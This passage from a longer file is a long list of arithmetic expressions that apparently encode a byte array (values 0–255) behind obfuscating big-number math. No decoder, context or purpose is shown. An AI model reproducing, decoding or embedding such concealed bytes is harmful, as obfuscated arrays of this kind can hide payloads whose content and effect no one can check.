- 2637831952411828119 - 17716, 519636460105991707029 - 519636460105991706870, 21550635732464647488 - 21550635732464647416, 1838915497589214012616 - 1838915497589214012393, (11033083505017812484 + 146734) // 2 - 5516541752508906242 - 73144, (18430289665127221866 + 41454) // 2 - 9215144832563610933 - 20664, (11093912539663990044 + 159630) // 2 - 5546956269831995022 - 79560, 1404219208775759083128 - 1404219208775759082971, 1310845091207789285104 - 1310845091207789284958, 1279081441155446491595 - 1279081441155446491354, (8146260145784517902 + 86856) // 2 - 4073130072892258951 - 43240, 63532821414233190600 - 63532821414233190576, (13486959396973729782 + 192172) // 2 - 6743479698486864891 - 95872, (6959923775286256522 + 55870) // 2 - 3479961887643128261 - 27784, 472525527421701700560 - 472525527421701700488, 14030817382085977392 - 14030817382085977376, (10688415235030757206 + 64616) // 2 - 5344207617515378603 - 32226, 732975791916030550186 - 732975791916030549987, (15844356457265912900 + 30562) // 2 - 7922178228632956450 - 15222, 158019763541340204378 - 158019763541340204324, 1160732409260296193132 - 1160732409260296192984, (14469188535675230476 + 9824) // 2 - 7234594267837615238 - 4896, (14881241209371754716 + 65376) // 2 - 7440620604685877358 - 32544, (9659545633969264648 + 17568) // 2 - 4829772816984632324 - 8640, (2943728731821551286 + 12222) // 2 - 1471864365910775643 - 6048, 98706349507600839330 - 98706349507600839315, (3177171375423658898 + 123930) // 2 - 1588585687711829449 - 61710, (1815597854237048380 + 28836) // 2 - 907798927118524190 - 14364, (1280983283994584208 + 40320) // 2 - 640491641997292104 - 20100, 488931372112546500912 - 488931372112546500858, (16935992186544048640 + 26418) // 2 - 8467996093272024320 - 13098, 304831027971950058475 - 304831027971950058306, 1228319193906049651758 - 1228319193906049651575, (10335900802715424470 + 111972) // 2 - 5167950401357712235 - 55800, (4614621185303022056 + 77686) // 2 - 2307310592651511028 - 38664, 74014543872607803654 - 74014543872607803612, 1418334864539314601900 - 1418334864539314601670, (1566809736907112678 + 4368) // 2 - 783404868453556339 - 2170, 478241553949137520230 - 478241553949137520045, (6966906022409421560 + 107328) // 2 - 3483453011204710780 - 53508, 158551139176261444008 - 158551139176261443822, 1121294950517722114554 - 1121294950517722114336, (14736660832714598320 + 31270) // 2 - 7368330416357299160 - 15576, 333482159701324508630 - 333482159701324508496, (1965880937868395650 + 6256) // 2 - 982940468934197825 - 3094, (5411991321246707044 + 159120) // 2 - 2705995660623353522 - 79326, 384389432088857990025 - 384389432088857989970, 2217629186945302757926 - 2217629186945302757679, (2803458070921259170 + 60944) // 2 - 1401729035460629585 - 30368, 1422642743641592889568 - 1422642743641592889362, 597405403192563426230 - 597405403192563426076, 283894523397172474078 - 283894523397172474035, (12505034812325894486 + 58500) // 2 - 6252517406162947243 - 29016, 1184447119887820770064 - 1184447119887820769880, (11694512386035869182 + 13312) // 2 - 5847256193017934591 - 6528, 1920728573524651984425 - 1920728573524651984200, 937992848176792244663 - 937992848176792244532, (5701883304435205144 + 72812) // 2 - 2850941652217602572 - 36297, 243511001791916833035 - 243511001791916832924, (10125069450707051748 + 50038) // 2 - 5062534725353525874 - 24892, (12949917561622880432 + 132888) // 2 - 6474958780811440216 - 66248, 362471943250573988000 - 362471943250573987900, (2586943027831669436 + 23154) // 2 - 1293471513915834718 - 11526, (16874577542465992542 + 23040) // 2 - 8437288771232996271 - 11460, 68812730076077883478 - 68812730076077883455, 194777341898762566818 - 194777341898762566769, (14001735818907433712 + 11802) // 2 - 7000867909453716856 - 5880, 640172517746389225848 - 640172517746389225767, (13814281917686900048 + 14016) // 2 - 6907140958843450024 - 6912, 156912037666734083740 - 156912037666734083634, (17811461866085433266 + 10128) // 2 - 8905730933042716633 - 5052, 4880082652703143346 - 4880082652703143323, (1072826505934488028 + 185256) // 2 - 536413252967244014 - 92379, 881995913216527244352 - 881995913216527244184, (8574790892687651280 + 38628) // 2 - 4287395446343825640 - 19203, 621899690406002710305 - 621899690406002710202, (18329056217559551664 + 54458) // 2 - 9164528108779775832 - 27156, 1438418468744260969135 - 1438418468744260968900, (3893410415371112 + 36660) // 2 - 1946705207685556 - 18135, 1874441992818333688965 - 1874441992818333688752, (6902324360344931894 + 79386) // 2 - 3451162180172465947 - 39592, (8853340593541369686 + 139664) // 2 - 4426670296770684843 - 69660, (8536428174154915874 + 61620) // 2 - 4268214087077457937 - 30731, (16855807276457067638 + 155232) // 2 - 8427903638228533819 - 77385, 175810431895065834146 - 175810431895065834019, 1324440043717837131629 - 1324440043717837131400, 48596647767773227955 - 48596647767773227870, 148747056057260628987 - 148747056057260628768, 2791657461531755792 - 2791657461531755784, (11611329752878956138 + 72704) // 2 - 5805664876439478069 - 36210, 106320853925515714744 - 106320853925515714716, (2739873142917506714 + 46812) // 2 - 1369936571458753357 - 23323, (1028343178142512270 + 113518) // 2 - 514171589071256135 - 56548, (3593705414477022188 + 250920) // 2 - 1796852707238511094 - 125205, 3500385258703038475 - 3500385258703038440, 303979485702147909044 - 303979485702147908922, 478436615978168297972 - 478436615978168297880, 37810175448811219572 - 37810175448811219560, 896592331224093548427 - 896592331224093548236, 271136395906176790242 - 271136395906176790044, 232360495519627359856 - 232360495519627359788, 62812524841768178518 - 62812524841768178465, (3814898449522821196 + 94952) // 2 - 1907449224761410598 - 47310, (10294083360913393510 + 29050) // 2 - 5147041680456696755 - 14350, 54990772210427296572 - 54990772210427296530, (9192734327875103666 + 71340) // 2 - 4596367163937551833 - 35496, (3610744047378807796 + 22880) // 2 - 1805372023689403898 - 11264, 1688455488812930547298 - 1688455488812930547107, (6944913202763376634 + 155142) // 2 - 3472456601381688317 - 77350, (9660652625425993716 + 75110) // 2 - 4830326312712996858 - 37370, 112415120129173270176 - 112415120129173270005, (9228894472177253858 + 199408) // 2 - 4614447236088626929 - 99498, (11311403227465081080 + 32204) // 2 - 5655701613732540540 - 15936, (6537002142011615388 + 36186) // 2 - 3268501071005807694 - 18056, (80691351760273842 + 76410) // 2 - 40345675880136921 - 38070, (3526856439519102792 + 119290) // 2 - 1763428219759551396 - 59494, 1461517779343709686500 - 1461517779343709686320, 1359031122095949189060 - 1359031122095949188848, 792051842846621969520 - 792051842846621969280, (8504527205585715230 + 18040) // 2 - 4252263602792857615 - 8965, (11821218630551453118 + 191520) // 2 - 5910609315275726559 - 95550, (11328548918637499012 + 131984) // 2 - 5664274459318749506 - 65766, 96047475402101349987 - 96047475402101349826, 421069212638520468869 - 421069212638520468792, 68598886208154613625 - 68598886208154613500, 280693729237787912925 - 280693729237787912700, 1074671039553629867856 - 1074671039553629867622, 705977618981666461396 - 705977618981666461262, (10382575500197845874 + 1712) // 2 - 5191287750098922937 - 854, (196532749318365252 + 18910) // 2 - 98266374659182626 - 9394, (1656814984155287200 + 602) // 2 - 828407492077643600 - 300, 782069581570852578775 - 782069581570852578546, 1112225645497809436960 - 1112225645497809436796, 355152207327690200298 - 355152207327690200077, (8811227894964140278 + 78076) // 2 - 4405613947482070139 - 38889, 277146148655290309332 - 277146148655290309290, (11707347884988346324 + 44304) // 2 - 5853673942494173162 - 22081, 369679838908106746050 - 369679838908106745883, (8747537891207363066 + 83142) // 2 - 4373768945603681533 - 41478, 593949117836871615896 - 593949117836871615742, (15647179573887254814 + 102600) // 2 - 7823589786943627407 - 51072, (14982760658736026854 + 93024) // 2 - 7491380329368013427 - 46398, 1867289358759912540500 - 1867289358759912540250, 12384643068864854986 - 12384643068864854984, 76409596217805368262 - 76409596217805368120, (2244314405898339724 + 61000) // 2 - 1122157202949169862 - 30439, (6350992933903372176 + 114678) // 2 - 3175496466951686088 - 57132, (7889761157798400982 + 74932) // 2 - 3944880578899200491 - 37323, (11663211279290693140 + 59274) // 2 - 5831605639645346570 - 29548, 907221845120458719360 - 907221845120458719246, (16099697706862441554 + 109740) // 2 - 8049848853431220777 - 54752, (6393629357573990478 + 9504) // 2 - 3196814678786995239 - 4736, (17781322718972718050 + 116532) // 2 - 8890661359486359025 - 58032, 24144362733216520280 - 24144362733216520260, (186893680030907540 + 29928) // 2 - 93446840015453770 - 14878, 818088456609925537080 - 818088456609925536948, (6432499399033081992 + 28014) // 2 - 3216249699516540996 - 13920, (3738706853430979580 + 6240) // 2 - 1869353426715489790 - 3094, 744420941345453964368 - 744420941345453964216, (14782490139629211524 + 80830) // 2 - 7391245069814605762 - 40278, 910061473929542965500 - 910061473929542965375, (17537304255352722086 + 149164) // 2 - 8768652127676361043 - 74404, (2550001377720486632 + 20736) // 2 - 1275000688860243316 - 10296, (7027877139743083350 + 13480) // 2 - 3513938569871541675 - 6720, (2599699501661872786 + 23660) // 2 - 1299849750830936393 - 11661, 471314697813809955310 - 471314697813809955140, 889144239086243800 - 889144239086243796, 601844064051939551040 - 601844064051939550875, 2422643908703401740 - 2422643908703401736, (16914795719599793962 + 168560) // 2 - 8457397859799896981 - 84035, (11087095885966962930 + 20592) // 2 - 5543547942983481465 - 10208, 831968942028843718125 - 831968942028843718008, 46730448341012805291 - 46730448341012805264, 1144749916152226812714 - 1144749916152226812521, 900775389816038222780 - 900775389816038222640, 23634615885464628288 - 23634615885464628282, (14973335431228252926 + 13328) // 2 - 7486667715614126463 - 6596, (14043311036313305118 + 110838) // 2 - 7021655518156652559 - 55272, (7107362783539485134 + 209292) // 2 - 3553681391769742567 - 104432, (3065232826908348624 + 64416) // 2 - 1532616413454174312 - 32086, 24945143583625381420 - 24945143583625381415, 5070777398509032092 - 5070777398509032021, 204499764649499825976 - 204499764649499825917, (12067058914064225730 + 47972) // 2 - 6033529457032112865 - 23807, 61539853227204324310 - 61539853227204324159, 1103961468715187768064 - 1103961468715187767920, 185420543047839422166 - 185420543047839422104, (15662644912874889244 + 69208) // 2 - 7831322456437444622 - 34393, (1371744613246291398 + 108460) // 2 - 685872306623145699 - 54085, (7870186778655393102 + 29264) // 2 - 3935093389327696551 - 14570, (15794846545305511504 + 218960) // 2 - 7897423272652755752 - 109242, (13654426914140220684 + 75456) // 2 - 6827213457070110342 - 37632, (5792943756462326742 + 90746) // 2 - 2896471878231163371 - 45216, (1110416684614736292 + 193148) // 2 - 555208342307368146 - 96356, (17022803248418981780 + 53336) // 2 - 8511401624209490890 - 26550, (4877610618374306966 + 19992) // 2 - 2438805309187153483 - 9954, (11665425988455307650 + 27972) // 2 - 5832712994227653825 - 13797, (7827113975476628818 + 74900) // 2 - 3913556987738314409 - 37275, 308324292820092759446 - 308324292820092759333, 608371087492004439911 - 608371087492004439834, 1190566099423425769005 - 1190566099423425768750, (10483079573249671594 + 12740) // 2 - 5241539786624835797 - 6335, (248532696522890276 + 63140) // 2 - 124266348261445138 - 31460, 414834114770496655548 - 414834114770496655311, (7941812090071497616 + 23552) // 2 - 3970906045035748808 - 11684, 553072763720556374220 - 553072763720556374130, 280828850267807252007 - 280828850267807251898, 24827358505828253256 - 24827358505828253088, (6575748946901555592 + 160524) // 2 - 3287874473450777796 - 80028, (15625169782506341448 + 225120) // 2 - 7812584891253170724 - 112320, (5172169289931029992 + 58630) // 2 - 2586084644965514996 - 29172, 310499657333074229744 - 310499657333074229701, 23421804238193294208 - 23421804238193294120, 1149898735981747216446 - 1149898735981747216317, (10505680661597306786 + 104896) // 2 - 5252840330798653393 - 52299, (15170107815015957312 + 112558) // 2 - 7585053907507978656 - 56112, (9065635541908976226 + 65424) // 2 - 4532817770954488113 - 32618, (15499231106670145320 + 139104) // 2 - 7749615553335072660 - 69408, (10300243565406093440 + 97344) // 2 - 5150121782703046720 - 48438, 305653149088263053450 - 305653149088263053400, 931684976587752263505 - 931684976587752263298, 449142816189082900680 - 449142816189082900590, (17760347143691336348 + 6560) // 2 - 8880173571845668174 - 3270, 46549075341538852812 - 46549075341538852758, (4407974137813008678 + 45752) // 2 - 2203987068906504339 - 22743, (11262914321351457136 + 76464) // 2 - 5631457160675728568 - 38114, 440713240840389540943 - 440713240840389540786, 923599153699127982222 - 923599153699127982116, (2114381882230753142 + 60192) // 2 - 1057190941115376571 - 29964, 887896971156294672360 - 887896971156294672240, (13617804061098843886 + 9600) // 2 - 6808902030549421943 - 4770, (1605257522568597330 + 90720) // 2 - 802628761284298665 - 45225, 267404350074375606339 - 267404350074375606170, (6373589522792546706 + 43164) // 2 - 3186794761396273353 - 21516, 959631473001125011406 - 959631473001125011165, 703518771395143512936 - 703518771395143512769, 67486586855685630636 - 67486586855685630522, (18244523688829469186 + 84930) // 2 - 9122261844414734593 - 42316, 64423040799913197714 - 64423040799913197701, (13978911671557938334 + 64636) // 2 - 6989455835778969167 - 32175, 542328981871144191679 - 542328981871144191506, (821777602046342098 + 23328) // 2 - 410888801023171049 - 11556, (7100696225642885034 + 127920) // 2 - 3550348112821442517 - 63765, 146660691526910568819 - 146660691526910568792, 19030094611988188008 - 19030094611988187840, (13443482938741454648 + 59984) // 2 - 6721741469370727324 - 29829, (4179370658269806276 + 18172) // 2 - 2089685329134903138 - 9009, 475799955987236217480 - 475799955987236217324, (8765192923220557958 + 39744) // 2 - 4382596461610278979 - 19734, (13457116738378555452 + 18620) // 2 - 6728558369189277726 - 9177, (11665272154795761114 + 5054) // 2 - 5832636077397880557 - 2520, (2734456292589041964 + 91800) // 2 - 1367228146294520982 - 45765, 147274134551759677581 - 147274134551759677564, (11781829201932882354 + 8400) // 2 - 5890914600966441177 - 4176, 739690217058669133704 - 739690217058669133566, 1133662456100820143872 - 1133662456100820143744, 86196300307819206300 - 86196300307819206225, 254938935249390855120 - 254938935249390855036, (8911380746746292634 + 59558) // 2 - 4455690373373146317 - 29682, 426747724125621331050 - 426747724125621331000, (4517308946746723916 + 166208) // 2 - 2258654473373361958 - 82892, 430817840983545268768 - 430817840983545268707, 210568436198981374115 - 210568436198981374036, (6941757264231400356 + 160004) // 2 - 3470878632115700178 - 79781, (15986227765324525736 + 80342) // 2 - 7993113882662262868 - 40032, (11232619717322440684 + 79376) // 2 - 5616309858661220342 - 39524, (15652358431707552394 + 139472) // 2 - 7826179215853776197 - 69552, (9671226448218942882 + 21120) // 2 - 4835613224109471441 - 10464, 94710464502756976669 - 94710464502756976646, (2325138702106744906 + 51430) // 2 - 1162569351053372453 - 25530, (9935594233991771686 + 60116) // 2 - 4967797116995885843 - 29925, 51499617210693413346 - 51499617210693413333, 742164450682626258145 - 742164450682626257996, (12523823565528658880 + 9774) // 2 - 6261911782764329440 - 4860, (9179083010718978228 + 102750) // 2 - 4589541505359489114 - 51238, 112326662982582468576 - 112326662982582468504, (13237144980751351944 + 106860) // 2 - 6618572490375675972 - 53300, (4457475972534450988 + 74480) // 2 - 2228737986267225494 - 37142, 306727330779940731538 - 306727330779940731357, (14007583842852599488 + 64400) // 2 - 7003791921426299744 - 31970, (662568687559457246 + 67488) // 2 - 331284343779728623 - 33633, (16172424277817821700 + 208840) // 2 - 8086212138908910850 - 104190, 886551168720614400916 - 886551168720614400800, (3975168967890035890 + 199080) // 2 - 1987584483945017945 - 99330, (13075872563730869966 + 43200) // 2 - 6537936281865434983 - 21504, (2219286939353646438 + 49680) // 2 - 1109643469676823219 - 24786, (5316464732269986420 + 21888) // 2 - 2658232366134993210 - 10912, (4942578947201449310 + 184842) // 2 - 2471289473600724655 - 92232, 798353852733748558986 - 798353852733748558792, (1659478445045500232 + 100118) // 2 - 829739222522750116 - 49946, 767658674764799525367 - 767658674764799525238, (14583032236582521128 + 16262) // 2 - 7291516118291260564 - 8084, (8799496793200750208 + 95128) // 2 - 4399748396600375104 - 47376, (1236955559310977368 + 8704) // 2 - 618477779655488684 - 4284, 1392114025639096198374 - 1392114025639096198163, (9210944788113291330 + 9408) // 2 - 4605472394056645665 - 4662, 856525377684262305280 - 856525377684262305120, (13999534004736944496 + 82476) // 2 - 6999767002368472248 - 41151, (8921981649947395940 + 11160) // 2 - 4460990824973697970 - 5550, 303588743076285817527 - 303588743076285817488, (11564319827037303394 + 173428) // 2 - 5782159913518651697 - 86523, (28282470128887480 + 141400) // 2 - 14141235064443740 - 70498, 69971267302801861428 - 69971267302801861416, 874892135349161815830 - 874892135349161815592, 30117167405073618891 - 30117167405073618870, (12793844352760711592 + 15920) // 2 - 6396922176380355796 - 7920, (2292449618643367206 + 14734) // 2 - 1146224809321683603 - 7314, (15356460260738689754 + 149410) // 2 - 7678230130369344877 - 74482, 829025774775715805124 - 829025774775715804923, 764285806026348511275 - 764285806026348511050, (353260791023327962 + 112700) // 2 - 176630395511663981 - 56189, 136439194327336424275 - 136439194327336424250, 284039266053174756908 - 284039266053174756826, 129570789472651719444 - 129570789472651719416, 1469696154492663337680 - 1469696154492663337440, (8879701203807182734 + 70930) // 2 - 4439850601903591367 - 35260, 116096066594735928225 - 116096066594735928078, (18140482269328513114 + 47900) // 2 - 9070241134664256557 - 23900, 822418181637456359450 - 822418181637456359340, (14460019907818129020 + 95238) // 2 - 7230009953909064510 - 47502, (4982510938104939288 + 205310) // 2 - 2491255469052469644 - 102410, (1780895133398635386 + 88722) // 2 - 890447566699317693 - 44202, (15327990374295702430 + 190762) // 2 - 7663995187147851215 - 95128, (9439538305082766170 + 21756) // 2 - 4719769152541383085 - 10780, (18046323192555226480 + 22644) // 2 - 9023161596277613240 - 11285, (5867227657357018928 + 123256) // 2 - 2933613828678509464 - 61504, 735186057079633106871 - 735186057079633106640, 8981823137358461322 - 8981823137358461320, 485784969268848295488 - 485784969268848295384, (8680196193337958830 + 103572) // 2 - 4340098096668979415 - 51597, (16454218403644375418 + 8622) // 2 - 8227109201822187709 - 4302, (14300916521018552456 + 12464) // 2 - 7150458260509276228 - 6150, (14164725485411736660 + 198712) // 2 - 7082362742705868330 - 99120, 53546458009007917023 - 53546458009007917002, 1185389842581421000468 - 1185389842581421000304, 236389951001236657573 - 236389951001236657544, (1047108370189148718 + 122830) // 2 - 523554185094574359 - 61242, (3240406232044949870 + 9828) // 2 - 1620203116022474935 - 4896, (12800507740414275906 + 65142) // 2 - 6400253870207137953 - 32494, 1396313733127962505386 - 1396313733127962505175, 649158444972572945640 - 649158444972572945554, (11213219008422761434 + 4248) // 2 - 5606609504211380717 - 2088, 36506504621251042664 - 36506504621251042660, 1394081286583982184216 - 1394081286583982184048, 1007254481236907774860 - 1007254481236907774640, 563591825186152392452 - 563591825186152392376, 1793510142630357864400 - 1793510142630357864200, 582825154019571248559 - 582825154019571248420, 578019736815996739260 - 578019736815996739158, 769324367397590416079 - 769324367397590415882, (16215824106037842082 + 77350) // 2 - 8107912053018921041 - 38454, 156468667242863885650 - 156468667242863885625, 1085369547403647586050 - 1085369547403647585904, 1450225572245433071118 - 1450225572245433070952, (12134428314204629588 + 80960) // 2 - 6067214157102314794 - 40388, 272362582067266697529 - 272362582067266697492, 1955527659993146208 - 1955527659993146207, 232383538268042755987 - 232383538268042755794, (1760869633707610218 + 161928) // 2 - 880434816853805109 - 80730, (3035683499460542346 + 792) // 2 - 1517841749730271173 - 392, 928059153877931561964 - 928059153877931561830, 953307182018018391656 - 953307182018018391534, (4740173702923309548 + 193612) // 2 - 2370086851461654774 - 96612, (7757595360901633048 + 25376) // 2 - 3878797680450816524 - 12480, (9599139566663629174 + 28944) // 2 - 4799569783331814587 - 14338, 279901645580436801240 - 279901645580436801075, 209879761878692163324 - 209879761878692163288, (11266794544179021374 + 64904) // 2 - 5633397272089510687 - 32319, 43833468517880548014 - 43833468517880547896, (10283848241289034012 + 113230) // 2 - 5141924120644517006 - 56446, 157820400924451291360 - 157820400924451291320, 495436610911293080512 - 495436610911293080456, (11059710301844127484 + 93800) // 2 - 5529855150922063742 - 46766, (1488825755883909466 + 116820) // 2 - 744412877941954733 - 58212, (8983862912761932214 + 103086) // 2 - 4491931456380966107 - 51294, (6160531589697396880 + 167466) // 2 - 3080265794848698440 - 83486, (9559829740446018986 + 10136) // 2 - 4779914870223009493 - 5040, 1246494856443970983388 - 1246494856443970983150, 1037298120198674971936 - 1037298120198674971728, 128556250258015860495 - 128556250258015860480, 214033762449549289380 - 214033762449549289298, (12653051074660882142 + 192072) // 2 - 6326525537330441071 - 95824, (13652575128396321616 + 43992) // 2 - 6826287564198160808 - 21840, (3196274758789672600 + 112112) // 2 - 1598137379394836300 - 55902, 21353330071192926105 - 21353330071192925970, (10119115685915565502 + 102144) // 2 - 5059557842957782751 - 50844, 1174912435799270708176 - 1174912435799270707992, (10312338673791986890 + 56628) // 2 - 5156169336895993445 - 28236, 21741253089279182158 - 21741253089279182151, 181433928442418109084 - 181433928442418109033, 28148805963467552125 - 28148805963467551950, 171741541454287682384 - 171741541454287682332, (11892948168878527584 + 21976) // 2 - 5946474084439263792 - 10824, 863687733467514124980 - 863687733467514124846, 994152601144109307624 - 994152601144109307396, (12557904780117474768 + 98864) // 2 - 6278952390058737384 - 49284, (9145626694676924040 + 199294) // 2 - 4572813347338462020 - 99396, 92974456873965379570 - 92974456873965379544, 261231239061412241240 - 261231239061412241200, (3374295412696153304 + 43736) // 2 - 1687147706348076652 - 21797, 12392285301741727578 - 12392285301741727480, (1025334944713414506 + 67392) // 2 - 512667472356707253 - 33579, 92747963615243103497 - 92747963615243103246, (7626783693018191670 + 14248) // 2 - 3813391846509095835 - 7098, (3599397017855371352 + 104120) // 2 - 1799698508927685676 - 51870, 49678832974223835856 - 49678832974223835848, (10333652919866215076 + 30472) // 2 - 5166826459933107538 - 15184, (652283865589197542 + 85690) // 2 - 326141932794598771 - 42636, (1214921675721747350 + 21222) // 2 - 607460837860873675 - 10530, 233484643462804092099 - 233484643462804091982, (6624809143659301430 + 41998) // 2 - 3312404571829650715 - 20746, (11882216385108793790 + 19838) // 2 - 5941108192554396895 - 9828, 95881038255383333868 - 95881038255383333850, (11456604329068748452 + 123914) // 2 - 5728302164534374226 - 61790, (11121079274636919910 + 7500) // 2 - 5560539637318459955 - 3725, (15544242635000518264 + 63332) // 2 - 7772121317500259132 - 31443, (13148605891483501674 + 12528) // 2 - 6574302945741750837 - 6246, 140815415701284220457 - 140815415701284220306, 777166712727422380398 - 777166712727422380272, 190713798814573514790 - 190713798814573514700, (9366558674770855048 + 14300) // 2 - 4683279337385427524 - 7040, (6901270296696692384 + 6734) // 2 - 3450635148348346192 - 3330, (4872120524201064944 + 4212) // 2 - 2436060262100532472 - 2100, (15355542695060155714 + 67818) // 2 - 7677771347530077857 - 33782, (2623023177125427700 + 25506) // 2 - 1311511588562713850 - 12714, (10777241918856013282 + 93480) // 2 - 5388620959428006641 - 46626, 208470844778723429360 - 208470844778723429148, (6143093008528176536 + 18288) // 2 - 3071546504264088268 - 9120, 404105110797587266800 - 404105110797587266610, 763165892137380811165 - 763165892137380811080, 775441894901972962400 - 775441894901972962290, 237407058891730708319 - 237407058891730708138, 1961303112847603104696 - 1961303112847603104483, 310757114571399054464 - 310757114571399054421, 973437698281399395704 - 973437698281399395583, 758231021791660424211 - 758231021791660424102, 377965452318021393980 - 377965452318021393840, (5291428421991168602 + 131040) // 2 - 2645714210995584301 - 65376, (17356892233929076076 + 9030) // 2 - 8678446116964538038 - 4494, 211152899052548581461 - 211152899052548581324, 22663672556691664351 - 22663672556691664134, (4900874578647090804 + 217464) // 2 - 2450437289323545402 - 108511, (18120921584112721020 + 16834) // 2 - 9060460792056360510 - 8398, (5699080030102657842 + 102384) // 2 - 2849540015051328921 - 50976, 1519744629825438471450 - 1519744629825438471225, (8119472517252362276 + 29370) // 2 - 4059736258626181138 - 14596, 999513957360204328796 - 999513957360204328542, 520100351261734206808 - 520100351261734206560, (12098564152513721188 + 18900) // 2 - 6049282076256860594 - 9315, 485720659707903199908 - 485720659707903199822, 510721223633682444432 - 510721223633682444369, (16572708290588643908 + 148512) // 2 - 8286354145294321954 - 74052, 75792623948704332085 - 75792623948704332072, 124609095709801902822 - 124609095709801902780, (3352094059323597476 + 14896) // 2 - 1676047029661798738 - 7392, 642783788523846328224 - 642783788523846328148, (970062056052380320 + 40600) // 2 - 485031028026190160 - 20155, (780177842880838912 + 71444) // 2 - 390088921440419456 - 35616, 93941656446602936832 - 93941656446602936704, (17580029825856871368 + 428) // 2 - 8790014912928435684 - 212, (1074293075230420294 + 34380) // 2 - 537146537615210147 - 16999, 275843947630646942232 - 275843947630646942109, 437216806064297173320 - 437216806064297173124, (11685928776205692006 + 38192) // 2 - 5842964388102846003 - 19040, (5676222019223611992 + 24448) // 2 - 2838111009611805996 - 12160, 117991083529510317292 - 117991083529510317216, 335799340140267629065 - 335799340140267629010, (7503115268791101416 + 27552) // 2 - 3751557634395550708 - 13608, (4312806245104323652 + 43800) // 2 - 2156403122552161826 - 21750, 165150294010621403018 - 165150294010621402951, (15169501850849378108 + 35980) // 2 - 7584750925424689054 - 17920, (11868695845402366968 + 135248) // 2 - 5934347922701183484 - 67410, (4271325524323842982 + 80520) // 2 - 2135662762161921491 - 40138, 509060414262064770991 - 509060414262064770842, (4663392372466180462 + 158316) // 2 - 2331696186233090231 - 78991, (13276895147485479342 + 73344) // 2 - 6638447573742739671 - 36481, 925461795292017919440 - 925461795292017919200, 338768535255094610320 - 338768535255094610240, (11137256739221866220 + 82764) // 2 - 5568628369610933110 - 41283, (10527042700244375378 + 51520) // 2 - 5263521350122187689 - 25600, 636176321678369284675 - 636176321678369284590, 576571590164194599900 - 576571590164194599750, (9477663440607983610 + 63600) // 2 - 4738831720303991805 - 31680, (8681590258779495540 + 113526) // 2 - 4340795129389747770 - 56610, (4812593573167393194 + 1304) // 2 - 2406296786583696597 - 650, (13456765678060230066 + 98624) // 2 - 6728382839030115033 - 49128, 1119730426869188405589 - 1119730426869188405466, 472131019469660075646 - 472131019469660075580, (5616776214216369340 + 53856) // 2 - 2808388107108184670 - 26730, 175027024262448420608 - 175027024262448420384, 658813074236710660992 - 658813074236710660869, (17055760726027416902 + 36960) // 2 - 8527880363013708451 - 18414, 749074910766338051544 - 749074910766338051412, (7975137614544292696 + 1044) // 2 - 3987568807272146348 - 519, (4785466155457688070 + 41674) // 2 - 2392733077728844035 - 20770, (3536088837995188322 + 28520) // 2 - 1768044418997594161 - 14136, 1498315193941516752 - 1498315193941516751, (1230759854702568930 + 94622) // 2 - 615379927351284465 - 47058, (16408879213669065074 + 170448) // 2 - 8204439606834532537 - 85023, (9279349590197855864 + 66930) // 2 - 4639674795098927932 - 33368, (12560672623843249648 + 10710) // 2 - 6280336311921624824 - 5270, 2109413062089187851170 - 2109413062089187850935, (14761488718583391820 + 2268) // 2 - 7380744359291695910 - 1116, 244869844112383107072 - 244869844112383106864, (4349015264689071834 + 201058) // 2 - 2174507632344535917 - 100320, 198342649986019808984 - 198342649986019808880, 563422318072202063744 - 563422318072202063616, (9520135890925630516 + 66300) // 2 - 4760067945462815258 - 33065, (12338368476907657204 + 27720) // 2 - 6169184238453828602 - 13776, 292476857431890714120 - 292476857431890714000, 796154723797188071907 - 796154723797188071758, (7010080846476454808 + 7826) // 2 - 3505040423238227404 - 3870, (8977118934313206064 + 77938) // 2 - 4488559467156603032 - 38836, 697502550897824328006 - 697502550897824327887, 397245844099438314326 - 397245844099438314159, 875092890116489092095 - 875092890116489091980, (12054271841333584030 + 141504) // 2 - 6027135920666792015 - 70551, 641322003446224541952 - 641322003446224541840, (6474592963926416976 + 74424) // 2 - 3237296481963208488 - 37128, (15798956302110507756 + 130216) // 2 - 7899478151055253878 - 64944, 892712833036704892440 - 892712833036704892320, 227190690184318634247 - 227190690184318634190, 107724647111597947158 - 107724647111597946952, 811153044309415819856 - 811153044309415819707, 1565602634327973888460 - 1565602634327973888240, 290339986344414298677 - 290339986344414298644, (8085733906246584396 + 6298) // 2 - 4042866953123292198 - 3102, (16611426526892606984 + 37668) // 2 - 8305713263446303492 - 18688, (3379819803080390574 + 9216) // 2 - 1689909901540195287 - 4596, (3341690154159580278 + 79056) // 2 - 1670845077079790139 - 39312, (3209009621935181432 + 211068) // 2 - 1604504810967590716 - 105300, 3305087810370240804 - 3305087810370240622, (1503918121648324516 + 29240) // 2 - 751959060824162258 - 14405, (9804821523538711788 + 43500) // 2 - 4902410761769355894 - 21500, (3614353516741168612 + 54776) // 2 - 1807176758370584306 - 27306, 247799949224062151860 - 247799949224062151667, (15769512959424687068 + 28512) // 2 - 7884756479712343534 - 14168, (17616471487914569216 + 162108) // 2 - 8808235743957284608 - 80883, 1001353635234304072812 - 1001353635234304072695, (8633890812086712590 + 33702) // 2 - 4316945406043356295 - 16728, 98554918280121196647 - 98554918280121196634, 562445460586491662400 - 562445460586491662324, 26500017690900594891 - 26500017690900594864, (2840959834200163122 + 69660) // 2 - 1420479917100081561 - 34695, (3885943995835632430 + 46216) // 2 - 1942971997917816215 - 23055, (8140275804694240906 + 20064) // 2 - 4070137902347120453 - 10008, (4653981829335253044 + 190008) // 2 - 2326990914667626522 - 94770, 830798441673945928800 - 830798441673945928560, 297747037425385849788 - 297747037425385849584, (4200964957026468216 + 11592) // 2 - 2100482478513234108 - 5760, 101305748025870179180 - 101305748025870179160, (5652525399677709274 + 61410) // 2 - 2826262699838854637 - 30616, (10828083753492584582 + 23870) // 2 - 5414041876746292291 - 11858, 975019858124149174785 - 975019858124149174638, 654036484003830772031 - 654036484003830771942, (9707994232807627548 + 34112) // 2 - 4853997116403813774 - 16974, 751517257978187203305 - 751517257978187203140, 1287179930655107015398 - 1287179930655107015256, (4162063309378122850 + 116532) // 2 - 2081031654689061425 - 58032, 387088936675344464457 - 387088936675344464400, (3165298789656823402 + 76800) // 2 - 1582649394828411701 - 38208, (11380660501891432992 + 14620) // 2 - 5690330250945716496 - 7293, (3661810667789419062 + 66568) // 2 - 1830905333894709531 - 33178, 420919488969583840185 - 420919488969583840056, (10409469532524427842 + 38252) // 2 - 5204734766262213921 - 18980, (4427904895768840058 + 25842) // 2 - 2213952447884420029 - 12702, (6174384191465263114 + 38458) // 2 - 3087192095732631557 - 19162, (18341547390293728062 + 29900) // 2 - 9170773695146864031 - 14885, (17482036319781040588 + 91698) // 2 - 8741018159890520294 - 45756, 